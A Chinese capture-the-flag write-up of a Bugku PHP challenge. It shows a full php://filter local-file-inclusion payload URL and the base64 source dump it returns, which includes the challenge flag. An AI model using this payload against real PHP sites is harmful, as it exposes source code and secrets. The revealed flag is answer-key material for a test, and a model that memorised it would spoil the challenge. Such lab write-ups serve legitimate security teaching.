bugku-flag在index里(本地文件包含漏洞+php伪协议)

墨蓝 2022-04-17 01:57 188阅读 0赞

题目地址[http://123.206.87.240:8005/post/][http_123.206.87.240_8005_post]

![20181111175455187.png][]

click点击进去

![20181111175539204.png][]

从 url地址可以猜测，需要用到 **php://filter伪协议**。

**用法：**

php://filter/read=convert.base64encode/resource=[文件路径]

**含义：**

php://filter是一种元封装器，设计用于"数据流打开"时的"筛选过滤"应用，对本地磁盘文件进行读写。简单来讲就是可以在执行代码前将代码换个方式读取出来，只是读取，不需要开启 **allow\_url\_include；**

因此本题答案为：

[http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php][http_123.206.87.240_8005_post_index.php_file_php_filter_read_convert.base64-encode_resource_index.php]

![20181111180034839.png][]

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

base64解码即可得到flag。

[http_123.206.87.240_8005_post]: http://123.206.87.240:8005/post/
[20181111175455187.png]: /images/20220417/57efcc192d6d4d1091186b8b300a2ae8.png
[20181111175539204.png]: /images/20220417/b4bf774bad8f45eb8b2890133c6a89e3.png
[http_123.206.87.240_8005_post_index.php_file_php_filter_read_convert.base64-encode_resource_index.php]: http://123.206.87.240:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
[20181111180034839.png]: /images/20220417/ccc0b3bf7c174fe194da928fb91b15c2.png